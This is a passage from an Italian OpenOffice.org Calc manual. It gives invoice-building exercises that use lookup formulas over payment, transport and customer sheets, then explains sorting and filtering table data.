6	4	rimessa diretta 60 g.d.f.	3	60	
7	5				
8	6				
9	7	ricevuta bancaria 30 g.d.f.	2	30	
10	8	ricevuta bancaria 60 g.d.f.	2	60	
11	11	tratta 30 g.d.f.	1	30	
12	12	tratta 60 g.d.f.	1	60	
13					
14					
15					

Nella scheda delle condizioni di pagamento, la prima colonna deve essere di tipo testo, nel senso che il codice deve essere interpretato in forma di stringa, senza alcun valore numerico. Lo stesso vale nella scheda della fattura, per la cella H21.

Le altre celle evidenziate nelle figure successive richiedono l'uso della funzione ***CERCA.VERT()***, ma a volte con qualche artificio: la data di scadenza viene determinata cercando con ***CERCA.VERT()*** il valore della scadenza nella scheda dei pagamenti, sommato però alla data di emissione della fattura; invece, il bollo sulla cambiale, deve essere calcolato solo se nella scheda dei pagamenti, la colonna «tipo» riporta il valore '**`1`**'. Per questo secondo problema occorre anche l'uso della funzione ***SE()*** e, nell'insieme, l'espressione che si scrive diventa abbastanza articolata:

```
=SE(CERCA.VERT($H$21;$pagamenti.$A$2:$E$15;3;0)=1;↩
↪ARROTONDA.ECCESSO(SOMMA(I23:I36)*(1/(1-0,012)-1);0,05);0)
```

Al termine delle modifiche, dopo avere salvato il nuovo lavoro, si deve procedere a produrre due stampe della sola scheda della fattura: una «normale» e un'altra in cui si visualizza la griglia delle celle, l'intestazione di riga e di colonna, e le formule.

Figura 122.223. Stampa «normale». La scritta sovraimposta, contenente il nome del file, non deve apparire, così come non devono apparire le frecce che indicano le celle in cui occorre intervenire per le modifiche.

fattura-10.ods

codice cliente:

CF o PI:

Indirizzo di destinazione

data fattura	fattura n.
31 mar 2009	123
data e orario consegna o inizio trasporto	
causale del trasporto	
aspetto esteriore dei beni	n. colli

ordine		documento di trasporto		porto		trasporto a mezzo del
numero	data	numero	data			
150	1 mar 2009	111	15 mar 2009			
spese di trasporto		spese di imballo			pagamento	
200,00		100,00		12	tratta 60 g.d.f.	

articolo	descrizione	quantità	sconto	sconto	prezzo	importo	IVA
11	cera d'api grezza 1 kg	123,00	10,00%	2,00%	5,00	542,43	10%
3	porta CD/DVD a colonna	234,00			10,00	2 340,00	20%
5	adattatore da AT a PS/2	17,00	3,00%	1,00%	3,00	48,98	20%
7	borsa per notebook	11,50			20,00	230,00	20%
9	miele millefiori 1 kg	12,30		3,00%	5,00	59,66	10%
11	cera d'api grezza 1 kg	100,00	10,00%	3,00%	5,00	436,50	10%
12	pappa reale pura 10 g	321,00	2,00%	7,00%	20,00	5 851,19	20%
13	propoli 20 g	23,00	2,00%		10,00	225,40	20%
					sconto sul totale:	0,00	

riepilogo IVA				
aliquota	imponibile	IVA	totale spese non documentate	300,00
			totale IVA	1 899,79
4%	0,00	0,00	spese documentate escluse dalla base imponibile	
10%	1 038,59	103,86	interessi	
20%	8 695,57	1 739,12	cauzioni	
aliquota	imponibile	IVA	bolli	144,95
4%	0,00	0,00	scadenza fattura	12 078,90 — totale fattura
10%	32,01	3,21	30 mag 2009	
20%	267,99	53,60		

impresa incaricata del trasporto	annotazioni
firma del conducente o del vettore	firma del destinatario

contributo CONAI assolto ove dovuto

Figura 122.224. Stampa con la griglia e le intestazioni di riga e di colonna. La scritta sovraimposta, contenente il nome del file, non deve apparire, così come non devono apparire le frecce che indicano le celle in cui occorre intervenire per le modifiche. Nella stampa che si consegna, devono apparire anche le formule, eventualmente rimpicciolite se necessario.

	A	B	C	D	E	F	G	H	I	J	K
1			fattura-10.ods				codice cliente:				
2											
3											
4											
5							CF o PI:				
6										Indirizzo di destinazione	
7											
8											
9		data fattura		fattura n.							
10		31 mar 2009		123							
11		data e orario consegna o inizio trasporto									
12											
13		causale del trasporto									
14											
15		aspetto esteriore dei beni			n. colli						
16	--										--
17		ordine		documento di trasporto			porto		trasporto a mezzo del		
18		numero	data	numero	data						
19		150	1 mar 2009	111	15 mar 2009						
20		spese di trasporto			spese di imballo				pagamento		
21		200,00			100,00			12	tratta 60 g.d.f.		
22		articolo	descrizione		quantità	sconto	sconto	prezzo	importo	IVA	
23		11	cera d'api grezza 1 kg		123,00	10,00%	2,00%	5,00	542,43	10%	
24		3	porta CD/DVD a colonna		234,00			10,00	2 340,00	20%	
25		5	adattatore da AT a PS/2		17,00	3,00%	1,00%	3,00	48,98	20%	
26		7	borsa per notebook		11,50			20,00	230,00	20%	
27		9	miele millefiori 1 kg		12,30		3,00%	5,00	59,66	10%	
28		11	cera d'api grezza 1 kg		100,00	10,00%	3,00%	5,00	436,50	10%	
29		12	pappa reale pura 10 g		321,00	2,00%	7,00%	20,00	5 851,19	20%	
30		13	propoli 20 g		23,00	2,00%		10,00	225,40	20%	
31							sconto sul totale:		0,00		
32		riepilogo IVA						totale spese non documentate	300,00		
33		aliquota	imponibile	IVA				totale IVA	1 899,79		
34	--	4%	0,00		0,00			spese documentate escluse dalla base imponibile			--
35		10%	1 038,59		103,86			interessi			
36		20%	8 695,57		1 739,12			cauzioni			
37		aliquota	imponibile	IVA				bolli	144,95		
38		4%	0,00		0,00	scadenza fattura					
39		10%	32,01		3,21	30 mag 2009			12 078,90	totale fattura	
40		20%	267,99		53,60						
41		impresa incaricata del trasporto						annotazioni			
42											
43											
44											
45		firma del conducente o del vettore						firma del destinatario			
46											
47						contributo CONAI assolto ove dovuto					

122.17.7 Verifica

Si riapra il file '`fattura-10.ods`' creato nell'esercitazione 122.17.6 e lo si salvi con il nome '`fattura-11.ods`'. Il file '`fattura-11.ods`' va modificato introducendo la scheda dei tipi di trasporto, denominata '**`trasporti`**', con la quale si vogliono gestire tutti i campi evidenziati nelle figure successive sulla scheda della fattura.

Figura 122.225. Scheda '**`trasporti`**'. Si osservi che la prima colonna deve essere di tipo testo: *`Formato`*, *`Celle`*, *`Numeri`*, *`Testo`*.

	A	B	C	D	E	F	G
1	codice	mezzo			vettore		
2			denominazione	indirizzo	cap	città	provincia
3	0						
4	1	mittente					
5	2	destinatario					
6	3						
7	4						
8	5						
9	6						
10	7						
11	8						
12	9						
13	10						
14	11	vettore	Martino trasporti	via diritta, 2	31033	Castelfranco Veneto	TV
15	12	vettore	Corriere Calpurnio	via curva, 3	31057	Silea	TV
16							
17							

Nella scheda dei tipi di trasporto, la prima colonna deve essere di tipo testo, nel senso che il codice deve essere interpretato in forma di stringa, senza alcun valore numerico. Lo stesso vale nella scheda della fattura, per la cella J17.

Si osservi che la fusione celle di alcune zone della fattura, in questa verifica viene modificata.

Le altre celle evidenziate nelle figure successive richiedono l'uso della funzione ***CERCA.VERT()***, fortunatamente senza bisogno di artifici particolari.

Al termine delle modifiche, dopo avere salvato il nuovo lavoro, si deve procedere a produrre due stampe della sola scheda della fattura: una «normale» e un'altra in cui si visualizza la griglia delle celle, l'intestazione di riga e di colonna, e le formule.

Figura 122.226. Stampa «normale». La scritta sovraimposta, contenente il nome del file, non deve apparire, così come non devono apparire le frecce che indicano le celle in cui occorre intervenire per le modifiche.

fattura-11.ods

codice cliente:

CF o PI:

Indirizzo di destinazione

data fattura	fattura n.
31 mar 2009	123
data e orario consegna o inizio trasporto	
causale del trasporto	
aspetto esteriore dei beni	n. colli

--

ordine		documento di trasporto		porto		trasporto a mezzo del	11
numero	data	numero	data				
150	1 mar 2009	111	15 mar 2009			vettore	

spese di trasporto	spese di imballo		pagamento
200,00	100,00	12	tratta 60 g.d.f.

articolo	descrizione	quantità	sconto	sconto	prezzo	importo	IVA
11	cera d'api grezza 1 kg	123,00	10,00%	2,00%	5,00	542,43	10%
3	porta CD/DVD a colonna	234,00			10,00	2 340,00	20%
5	adattatore da AT a PS/2	17,00	3,00%	1,00%	3,00	48,98	20%
7	borsa per notebook	11,50			20,00	230,00	20%
9	miele millefiori 1 kg	12,30		3,00%	5,00	59,66	10%
11	cera d'api grezza 1 kg	100,00	10,00%	3,00%	5,00	436,50	10%
12	pappa reale pura 10 g	321,00	2,00%	7,00%	20,00	5 851,19	20%
13	propoli 20 g	23,00	2,00%		10,00	225,40	20%

sconto sul totale: 0,00

riepilogo IVA				
aliquota	imponibile	IVA	totale spese non documentate	300,00
4%	0,00	0,00	totale IVA	1 899,79
10%	1 038,59	103,86	spese documentate escluse dalla base imponibile	
20%	8 695,57	1 739,12	interessi	
			cauzioni	
aliquota	imponibile	IVA	bolli	144,95
4%	0,00	0,00	scadenza fattura	
10%	32,01	3,21	30 mag 2009	
20%	267,99	53,60		

--

12 078,90	totale fattura

impresa incaricata del trasporto

Martino trasporti
via diritta, 2
31033 Castelfranco Veneto TV

annotazioni

firma del conducente o del vettore

firma del destinatario

contributo CONAI assolto ove dovuto

Figura 122.227. Stampa con la griglia e le intestazioni di riga e di colonna. La scritta sovraimposta, contenente il nome del file, non deve apparire, così come non devono apparire le frecce che indicano le celle in cui occorre intervenire per le modifiche. Nella stampa che si consegna, devono apparire anche le formule, eventualmente rimpicciolite se necessario.

	A	B	C	D	E	F	G	H	I	J	K
1		fattura-11.ods					codice cliente:				
2											
3											
4											
5							CF o PI:				
6							Indirizzo di destinazione				
7											
8											
9		data fattura		fattura n.							
10		31 mar 2009		123							
11		data e orario consegna o inizio trasporto									
12											
13		causale del trasporto									
14											
15		aspetto esteriore dei beni			n. colli						
16	--										--
17		ordine		documento di trasporto			porto		trasporto a mezzo del	11	
18		numero	data	numero	data						
19		150	1 mar 2009	111	15 mar 2009				vettore		
20		spese di trasporto			spese di imballo				pagamento		
21		200,00			100,00			12	tratta 60 g.d.f.		
22		articolo	descrizione		quantità	sconto	sconto	prezzo	importo	IVA	
23		11	cera d'api grezza 1 kg		123,00	10,00%	2,00%	5,00	542,43	10%	
24		3	porta CD/DVD a colonna		234,00			10,00	2 340,00	20%	
25		5	adattatore da AT a PS/2		17,00	3,00%	1,00%	3,00	48,98	20%	
26		7	borsa per notebook		11,50			20,00	230,00	20%	
27		9	miele millefiori 1 kg		12,30		3,00%	5,00	59,66	10%	
28		11	cera d'api grezza 1 kg		100,00	10,00%	3,00%	5,00	436,50	10%	
29		12	pappa reale pura 10 g		321,00	2,00%	7,00%	20,00	5 851,19	20%	
30		13	propoli 20 g		23,00	2,00%		10,00	225,40	20%	
31								sconto sul totale:	0,00		
32		riepilogo IVA				totale spese non documentate			300,00		
33		aliquota	imponibile	IVA		totale IVA			1 899,79		
34	--	4%	0,00		0,00	spese documentate escluse dalla base imponibile					--
35		10%	1 038,59		103,86	interessi					
36		20%	8 695,57		1 739,12	cauzioni					
37		aliquota	imponibile	IVA		bolli			144,95		
38		4%	0,00		0,00	scadenza fattura		12 078,90		totale fattura	
39		10%	32,01		3,21	30 mag 2009					
40		20%	267,99		53,60						
41		impresa incaricata del trasporto						annotazioni			
42		Martino trasporti									
43		via diritta, 2									
44		31033	Castelfranco Veneto		TV						
45		firma del conducente o del vettore					firma del destinatario				
46											
47		contributo CONAI assolto ove dovuto									

122.17.8 Verifica

Si riapra il file '`fattura-11.ods`' creato nell'esercitazione 122.17.7 e lo si salvi con il nome '`fattura-12.ods`'. Il file '`fattura-12.ods`' va modificato introducendo le schede dei tipi di porto ('**`porto`**'), quella delle causali del trasporto ('**`causali`**') e quella dell'aspetto esteriore dei beni ('**`aspetto`**'). Le schede in questione sono molto semplici e così lo è anche l'uso della funzione ***CERCA.VERT()*** necessaria a collegare i dati nella scheda della fattura.

Figura 122.228. Scheda '**`porto`**'. La prima colonna deve essere di tipo testo: `Formato`, `Celle`, `Numeri`, `Testo`.

	A	B
1	codice	tipo
2	0	
3	1	franco – FMV
4	2	franco – FMC
5		
6		
7		

Figura 122.229. Scheda '**`causale`**'. La prima colonna deve essere di tipo testo: `Formato`, `Celle`, `Numeri`, `Testo`.

	A	B
1	codice	descrizione
2	0	
3	1	vendita
4	2	omaggio
5	3	reso
6		
7		

Figura 122.230. Scheda '**`aspetto`**'. La prima colonna deve essere di tipo testo: `Formato`, `Celle`, `Numeri`, `Testo`.

	A	B
1	codice	tipo
2	0	
3	1	scatole di cartone
4	2	sacchetti di plastica
5	3	alla rinfusa
6		
7		

Al termine delle modifiche, dopo avere salvato il nuovo lavoro, si deve procedere a produrre due stampe della sola scheda della fattura: una «normale» e un'altra in cui si visualizza la griglia delle celle, l'intestazione di riga e di colonna, e le formule.

Figura 122.231. Stampa «normale». La scritta sovraimposta, contenente il nome del file, non deve apparire, così come non devono apparire le frecce che indicano le celle in cui occorre intervenire per le modifiche.

fattura-12.ods

codice cliente:

CF o PI:

Indirizzo di destinazione

data fattura	fattura n.
31 mar 2009	123

data e orario consegna o inizio trasporto

causale del trasporto	1
vendita	

aspetto esteriore dei beni	1	n. colli
scatole di cartone		

ordine		documento di trasporto		porto	1	trasporto a mezzo del	11
numero	data	numero	data	franco – FMV		vettore	
150	1 mar 2009	111	15 mar 2009				

spese di trasporto	spese di imballo		pagamento
200,00	100,00	12	tratta 60 g.d.f.

articolo	descrizione	quantità	sconto	sconto	prezzo	importo	IVA
11	cera d'api grezza 1 kg	123,00	10,00%	2,00%	5,00	542,43	10%
3	porta CD/DVD a colonna	234,00			10,00	2 340,00	20%
5	adattatore da AT a PS/2	17,00	3,00%	1,00%	3,00	48,98	20%
7	borsa per notebook	11,50			20,00	230,00	20%
9	miele millefiori 1 kg	12,30		3,00%	5,00	59,66	10%
11	cera d'api grezza 1 kg	100,00	10,00%	3,00%	5,00	436,50	10%
12	pappa reale pura 10 g	321,00	2,00%	7,00%	20,00	5 851,19	20%
13	propoli 20 g	23,00	2,00%		10,00	225,40	20%

sconto sul totale: 0,00

riepilogo IVA				
aliquota	imponibile	IVA	totale spese non documentate	300,00
4%	0,00	0,00	totale IVA	1 899,79
10%	1 038,59	103,86	spese documentate escluse dalla base imponibile	
20%	8 695,57	1 739,12	interessi	
			cauzioni	
aliquota	imponibile	IVA	bolli	144,95
4%	0,00	0,00	scadenza fattura	
10%	32,01	3,21	30 mag 2009	
20%	267,99	53,60		

12 078,90 totale fattura

impresa incaricata del trasporto

Martino trasporti

via diritta, 2

31033 Castelfranco Veneto TV

annotazioni

firma del conducente o del vettore

firma del destinatario

contributo CONAI assolto ove dovuto

Figura 122.232. Stampa con la griglia e le intestazioni di riga e di colonna. La scritta sovraimposta, contenente il nome del file, non deve apparire, così come non devono apparire le frecce che indicano le celle in cui occorre intervenire per le modifiche. Nella stampa che si consegna, devono apparire anche le formule, eventualmente rimpicciolite se necessario.

	A	B	C	D	E	F	G	H	I	J	K
1			fattura-12.ods				codice cliente:				
2											
3											
4											
5							CF o PI:				
6										Indirizzo di destinazione	
7											
8											
9		data fattura		fattura n.							
10		31 mar 2009		123							
11		data e orario consegna o inizio trasporto									
12											
13		causale del trasporto			1						
14		vendita									
15		aspetto esteriore dei beni		1	n. colli						
16	--	scatole di cartone									--
17		ordine		documento di trasporto			porto	1	trasporto a mezzo del	11	
18		numero	data	numero	data		franco – FMV				
19		150	1 mar 2009	111	15 mar 2009				vettore		
20		spese di trasporto			spese di imballo				pagamento		
21		200,00			100,00			12	tratta 60 g.d.f.		
22		articolo	descrizione		quantità	sconto	sconto	prezzo	importo	IVA	
23		11	cera d'api grezza 1 kg		123,00	10,00%	2,00%	5,00	542,43	10%	
24		3	porta CD/DVD a colonna		234,00			10,00	2 340,00	20%	
25		5	adattatore da AT a PS/2		17,00	3,00%	1,00%	3,00	48,98	20%	
26		7	borsa per notebook		11,50			20,00	230,00	20%	
27		9	miele millefiori 1 kg		12,30		3,00%	5,00	59,66	10%	
28		11	cera d'api grezza 1 kg		100,00	10,00%	3,00%	5,00	436,50	10%	
29		12	pappa reale pura 10 g		321,00	2,00%	7,00%	20,00	5 851,19	20%	
30		13	propoli 20 g		23,00	2,00%		10,00	225,40	20%	
31								sconto sul totale:	0,00		
32		riepilogo IVA						totale spese non documentate	300,00		
33		aliquota	imponibile	IVA				totale IVA	1 899,79		
34	--	4%	0,00		0,00			spese documentate escluse dalla base imponibile			--
35		10%	1 038,59		103,86			interessi			
36		20%	8 695,57		1 739,12			cauzioni			
37		aliquota	imponibile	IVA				bolli	144,95		
38		4%	0,00		0,00	scadenza fattura		12 078,90		totale fattura	
39		10%	32,01		3,21	30 mag 2009					
40		20%	267,99		53,60						
41		impresa incaricata del trasporto						annotazioni			
42		Martino trasporti									
43		via diritta, 2									
44		31033	Castelfranco Veneto		TV						
45		firma del conducente o del vettore					firma del destinatario				
46											
47		contributo CONAI assolto ove dovuto									

122.17.9 Verifica

Si riapra il file '`fattura-12.ods`' creato nell'esercitazione 122.17.8 e lo si salvi con il nome '`fattura-13.ods`'. Il file '`fattura-13.ods`' va modificato introducendo la scheda anagrafica dei clienti ('**`clienti`**') e quindi modificando la scheda della fattura, in modo da ottenere i dati anagrafici del cliente, specificando il codice nella cella I1. Come per le altre esercitazioni che usano la funzione ***CERCA.VERT()***, i campi che contengono codici devono essere di tipo testo (*`Formato`*, *`Cella`*, *`Numero`*, *`Testo`*).

Figura 122.233. Scheda '**`clienti`**'. La prima colonna deve essere di tipo testo: *`Formato`*, *`Celle`*, *`Numeri`*, *`Testo`*.

	A	B	C	D	E	F	G	H	I	J	K
1	codice cliente	denominazione	indirizzo			pr.	codice fiscale o partita IVA	indirizzo per l'invio			
2			indirizzo	cap	città			indirizzo	cap	città	pr.
3	0										
4	1	Alberoni & C.	piazza Tiritera, 28	50018	Scandicci	FI	01720430485	piazza Tiritera, 28	50018	Scandicci	FI
5	2	Belletti Ugo	via Terraglio, 78	31100	Treviso	TV	02403210269	via Merenda, 1	31100	Treviso	TV
6	3	Super bit srl	via Barbablu, 78	47037	Rimini	RN	01620430403	via Barbablu, 78	47037	Rimini	RN
7	4	Emme	viale Libertà, 17	10100	Torino	TO	02513310017	viale Libertà, 17	10100	Torino	TO
8	5	Yankee	via dei coniugi, 15	31100	Treviso	TV	00496700261	via dei coniugi, 15	31100	Treviso	TV
9	6	Zeta	via Arbe, 50	20100	Milano	MI	01920430483	via Arbe, 50	20100	Milano	MI
10	7	Wasser	viale dell'acqua, 7	31100	Treviso	TV	02413310018	viale dell'acqua, 7	31100	Treviso	TV
11											

La scheda clienti riporta, per ogni voce, due indirizzi: il secondo è quello al quale vanno inviate le merci e le fatture. Di norma si distingue tra un indirizzo per l'invio dei documenti e uno per l'invio delle merci, ma in questo caso, la fattura può essere sia accompagnatoria, sia differita, sia relativa a servizi che non comportano il trasferimento di un bene. Pertanto, per semplicità, si considera che il secondo indirizzo della tabella '**`clienti`**' sia quello che deve apparire in evidenza nella fattura, senza altre considerazioni.

Si faccia attenzione ancora una volta alla fusione delle celle, che viene modificata leggermente in corrispondenza delle zone da modificare nella fattura.

Al termine delle modifiche, dopo avere salvato il nuovo lavoro, si deve procedere a produrre due stampe della sola scheda della fattura: una «normale» e un'altra in cui si visualizza la griglia delle celle, l'intestazione di riga e di colonna, e le formule.

Figura 122.234. Stampa «normale». La scritta sovraimposta, contenente il nome del file, non deve apparire, così come non devono apparire le frecce che indicano le celle in cui occorre intervenire per le modifiche.

codice cliente: 2
Belletti Ugo
via Terraglio, 78
31100 Treviso TV
CF o PI: 02403210269

Indirizzo di destinazione

Belletti Ugo
via Merenda, 1
31100 Treviso TV

data fattura	fattura n.
31 mar 2009	123

data e orario consegna o inizio trasporto

causale del trasporto	1
vendita	

aspetto esteriore dei beni	1	n. colli
scatole di cartone		

ordine numero	ordine data	documento di trasporto numero	documento di trasporto data	porto	1	trasporto a mezzo del	11
150	1 mar 2009			franco – FMV		vettore	

spese di trasporto	spese di imballo		pagamento
200,00	100,00	12	tratta 60 g.d.f.

articolo	descrizione	quantità	sconto	sconto	prezzo	importo	IVA
11	cera d'api grezza 1 kg	123,00	10,00%	2,00%	5,00	542,43	10%
3	porta CD/DVD a colonna	234,00			10,00	2 340,00	20%
5	adattatore da AT a PS/2	17,00	3,00%	1,00%	3,00	48,98	20%
7	borsa per notebook	11,50			20,00	230,00	20%
9	miele millefiori 1 kg	12,30		3,00%	5,00	59,66	10%
11	cera d'api grezza 1 kg	100,00	10,00%	3,00%	5,00	436,50	10%
12	pappa reale pura 10 g	321,00	2,00%	7,00%	20,00	5 851,19	20%
13	propoli 20 g	23,00	2,00%		10,00	225,40	20%

sconto sul totale: 0,00

riepilogo IVA

aliquota	imponibile	IVA
4%	0,00	0,00
10%	1 038,59	103,86
20%	8 695,57	1 739,12

totale spese non documentate	300,00
totale IVA	1 899,79
spese documentate escluse dalla base imponibile	
interessi	
cauzioni	
bolli	144,95

aliquota	imponibile	IVA
4%	0,00	0,00
10%	32,01	3,21
20%	267,99	53,60

scadenza fattura: 30 mag 2009

12 078,90 totale fattura

impresa incaricata del trasporto
Martino trasporti
via diritta, 2
31033 Castelfranco Veneto TV

annotazioni

fattura-13.ods

firma del conducente o del vettore

firma del destinatario

contributo CONAI assolto ove dovuto

Figura 122.235. Stampa con la griglia e le intestazioni di riga e di colonna. La scritta sovraimposta, contenente il nome del file, non deve apparire, così come non devono apparire le frecce che indicano le celle in cui occorre intervenire per le modifiche. Nella stampa che si consegna, devono apparire anche le formule, eventualmente rimpicciolite se necessario.

	A	B	C	D	E	F	G	H	I	J	K
1							codice cliente:		2		
2							Belletti Ugo				
3							via Terraglio, 78				
4							31100	Treviso		TV	
5							CF o PI:	02403210269			
6										Indirizzo di destinazione	
7											
8							Belletti Ugo				
9		data fattura		fattura n.							
10		31 mar 2009		123			via Merenda, 1				
11		data e orario consegna o inizio trasporto					31100	Treviso		TV	
12											
13		causale del trasporto			1						
14		vendita									
15		aspetto esteriore dei beni		1	n. colli						
16	--	scatole di cartone									--
17		ordine		documento di trasporto			porto	1	trasporto a mezzo del	11	
18		numero	data	numero	data		franco – FMV				
19		150	1 mar 2009						vettore		
20		spese di trasporto			spese di imballo			pagamento			
21		200,00			100,00			12	tratta 60 g.d.f.		
22		articolo	descrizione		quantità	sconto	sconto	prezzo	importo	IVA	
23		11	cera d'api grezza 1 kg		123,00	10,00%	2,00%	5,00	542,43	10%	
24		3	porta CD/DVD a colonna		234,00			10,00	2 340,00	20%	
25		5	adattatore da AT a PS/2		17,00	3,00%	1,00%	3,00	48,98	20%	
26		7	borsa per notebook		11,50			20,00	230,00	20%	
27		9	miele millefiori 1 kg		12,30		3,00%	5,00	59,66	10%	
28		11	cera d'api grezza 1 kg		100,00	10,00%	3,00%	5,00	436,50	10%	
29		12	pappa reale pura 10 g		321,00	2,00%	7,00%	20,00	5 851,19	20%	
30		13	propoli 20 g		23,00	2,00%		10,00	225,40	20%	
31		sconto sul totale:							0,00		
32		riepilogo IVA				totale spese non documentate			300,00		
33		aliquota	imponibile	IVA		totale IVA			1 899,79		
34	--	4%	0,00		0,00	spese documentate escluse dalla base imponibile					--
35		10%	1 038,59		103,86	interessi					
36		20%	8 695,57		1 739,12	cauzioni					
37		aliquota	imponibile	IVA		bolli			144,95		
38		4%	0,00		0,00	scadenza fattura		12 078,90		totale fattura	
39		10%	32,01		3,21	30 mag 2009					
40		20%	267,99		53,60						
41		impresa incaricata del trasporto				annotazioni					
42		Martino trasporti									
43		via diritta, 2				fattura-13.ods					
44		31033	Castelfranco Veneto		TV						
45		firma del conducente o del vettore					firma del destinatario				
46											
47		contributo CONAI assolto ove dovuto									

122.17.10 Esercizio

Si riapra il file ‘fattura-13.ods’ creato nell’esercitazione 122.17.9 e lo si salvi con il nome ‘fattura-14.ods’, per poi completarlo con il nome dell’azienda emittente del documento. I dati vanno inseriti letteralmente, eventualmente cambiando la fusione celle nella zona superiore sinistra.

Figura 122.236. Esempio di completamento del lavoro con le fatture.

Azienda per le esercitazioni

via Morganella EST, 21
31050 Ponzano Veneto TV
p.i.: 11111111111

codice cliente: 2
Belletti Ugo
via Terraglio, 78
31100 Treviso TV
CF o PI: 02403210269

Indirizzo di destinazione

Belletti Ugo
via Merenda, 1
31100 Treviso TV

data fattura	fattura n.
31 mar 2009	123

data e orario consegna o inizio trasporto

causale del trasporto: 1 — vendita

aspetto esteriore dei beni: 1 — scatole di cartone — n. colli

ordine numero	ordine data	documento di trasporto numero	documento di trasporto data	porto	trasporto a mezzo del
150	1 mar 2009			1 — franco – FMV	11 — vettore

spese di trasporto	spese di imballo	pagamento
200,00	100,00	12 — tratta 60 g.d.f.

articolo	descrizione	quantità	sconto	sconto	prezzo	importo	IVA
11	cera d'api grezza 1 kg	123,00	10,00%	2,00%	5,00	542,43	10%
3	porta CD/DVD a colonna	234,00			10,00	2 340,00	20%
5	adattatore da AT a PS/2	17,00	3,00%	1,00%	3,00	48,98	20%
7	borsa per notebook	11,50			20,00	230,00	20%
9	miele millefiori 1 kg	12,30		3,00%	5,00	59,66	10%
11	cera d'api grezza 1 kg	100,00	10,00%	3,00%	5,00	436,50	10%
12	pappa reale pura 10 g	321,00	2,00%	7,00%	20,00	5 851,19	20%
13	propoli 20 g	23,00	2,00%		10,00	225,40	20%

sconto sul totale: 0,00

riepilogo IVA

aliquota	imponibile	IVA
4%	0,00	0,00
10%	1 038,59	103,86
20%	8 695,57	1 739,12

aliquota	imponibile	IVA
4%	0,00	0,00
10%	32,01	3,21
20%	267,99	53,60

totale spese non documentate	300,00
totale IVA	1 899,79
spese documentate escluse dalla base imponibile	
interessi	
cauzioni	
bolli	144,95

scadenza fattura: 30 mag 2009

12 078,90 totale fattura

impresa incaricata del trasporto
Martino trasporti
via diritta, 2
31033 Castelfranco Veneto TV

annotazioni
fattura-14.ods

firma del conducente o del vettore — firma del destinatario

contributo CONAI assolto ove dovuto

122.18 Riordino, filtro e moduli

Le funzionalità di un foglio elettronico comune, sconfinano nel campo della gestione delle basi di dati. In questo capitolo, si considera la possibilità di riordinare le righe di una zona di celle, quella di filtrare le righe di una scheda (di un foglio), secondo il contenuto delle celle di una o più colonne, e quella di gestire un modulo di immissione.

122.18.1 Riordino

Per poter procedere al riordino di una zona, all'interno di una scheda di OpenOffice.org Calc, si procede selezionando la zona e poi richiedendo la voce del menù `Dati`, `Ordina`, dalla quale si ottiene una maschera, suddivisa in schede, per precisare i criteri di ordinamento. A titolo di esempio, si suppone di voler riodinare la tabella visibile nella figura successiva:

	A	B	C	D	E
1	codice articolo	denominazione	prezzo unitario di vendita	IVA	sconto
2	0	--	--	--	--
3	1	telo copri monitor	€ 5,00	20%	5,00%
4	2	porta CD/DVD da viaggio	€ 5,00	20%	
5	3	porta CD/DVD a colonna	€ 10,00	20%	
6	4	luce per notebook usb	€ 10,00	20%	
7	5	adattatore da AT a PS/2	€ 3,00	20%	3,00%
8	6	adattatore da PS/2 a AT	€ 3,00	20%	
9	7	borsa per notebook	€ 20,00	20%	
10	8	zaino per notebook	€ 20,00	20%	
11	9	miele millefiori 1 kg	€ 5,00	10%	
12	10	miele di acacia 1 kg	€ 5,00	10%	7,00%
13	11	cera d'api grezza 1 kg	€ 5,00	10%	10,00%
14	12	pappa reale pura 10 g	€ 20,00	20%	2,00%
15	13	propoli 20 g	€ 10,00	20%	2,00%

I dati da ordinare sono effettivamente quelli della zona A2:E15, ma si può scegliere di includere anche l'intestazione, pertanto si può selezionare la zona A1:E15. Una volta fatta la selezione (A1:E15), si procede con la funzione `Dati`, `Ordina`, ottenendo la maschera seguente:

Criteri | Opzioni

Ordina per

codice articolo

Crescente

Decrescente

Quindi per

- non definito -

Crescente

Decrescente

Quindi per

- non definito -

Crescente

Decrescente

OK | Annulla | ? | Ripristina

Nella figura si vede in primo piano la scheda `Criteri`, con la quale si definisce la chiave di ordinamento. In modo predefinito viene proposta una sola chiave, costituita dalla prima colonna della zona selezionata; nel caso della figura, si presume che la prima riga costituisca un'intestazione e quindi viene richiamato il testo dell'intestazione stessa. Eventualmente si può passare alla scheda `Opzioni`, con la quale è possibile controllare dettagliatamente la modalità di riordino; soprattutto è possibile definire se la prima riga della zona sia un'intestazione da non riordinare o se sia invece parte dei dati da trattare.

Criteri | Opzioni

Maiuscole/minuscole

Area contenente intestazioni di colonne

Includi formati

Abilita ordine naturale

Area destinazione risultato

- non definito -

Sequenza d'ordine definita dall'utente

lun,mar,mer,gio,ven,sab,dom

Lingua

Opzioni

Standard

Direzione

Dall'alto verso il basso (ordina righe)

Da sinistra a destra (ordina colonne)

OK | Annulla | ? | Ripristina

La voce che consente di trattare la prima riga della zona da ordinare come intestazione o meno è `Area contenente intestazioni di colonne`. Inoltre, va osservato che

è possibile anche un riordino di colonne (invece che di righe), selezionando la voce `Direzione: da sinistra a destra`.

122.18.2 Filtro

Il filtro è un procedimento con il quale si fa in modo di non mostrare le righe che non soddisfano dei criteri, applicati a una certa zona. Ci si può accorgere della presenza di un filtro perché i numeri di alcune righe sono mancanti.

Il filtro può essere definito attraverso una maschera, in cui si precisano i criteri, oppure attraverso dei menù a tendina, incorporati nella prima riga della zona a cui si applica il filtro stesso. Nel secondo caso, si tratta di un «filtro automatico», in quanto i criteri possono essere cambiati al volo.

Quando si applica un filtro, sia in modo «standard», sia in modo «automatico», questo rimane statico, anche se i dati della zona considerata vengono modificati, interferendo con i criteri originari di filtro. Per aggiornare la selezione, occorre ripetere il procedimento di filtro.

Quando più tabelle indipendenti richiedono l'applicazione di un filtro, se si utilizza un «filtro automatico», solo l'ultimo filtro creato mantiene il menù a tendina; pertanto, se occorre intervenire nuovamente nelle altre tabelle, occorre ripetere la selezione e la richiesta di filtro.

Come esempio si prende la stessa tabella di articoli apparsa a proposito del riordino dei dati. Dovendo applicare un filtro, è bene che la tabella preveda un'intestazione e che questa risulti selezionata. Si procede con la voce del menù `Dati`, `Filtro standard`. Si ottiene una maschera che può essere sintetica o dettagliata; la figura successiva mostra un esempio di questa, dove il criterio di selezione è tale da mantenere la visualizzazione delle righe il cui prezzo sia inferiore di 20,00 € e vi si applichi un'aliquota IVA del 20 %.

Applicando il filtro, come dalla definizione della figura, la tabella si riduce al risultato seguente:

	A	B	C	D	E
1	codice articolo	denominazione	prezzo unitario di vendita	IVA	sconto
3	1	telo copri monitor	€ 5,00	20%	5,00%
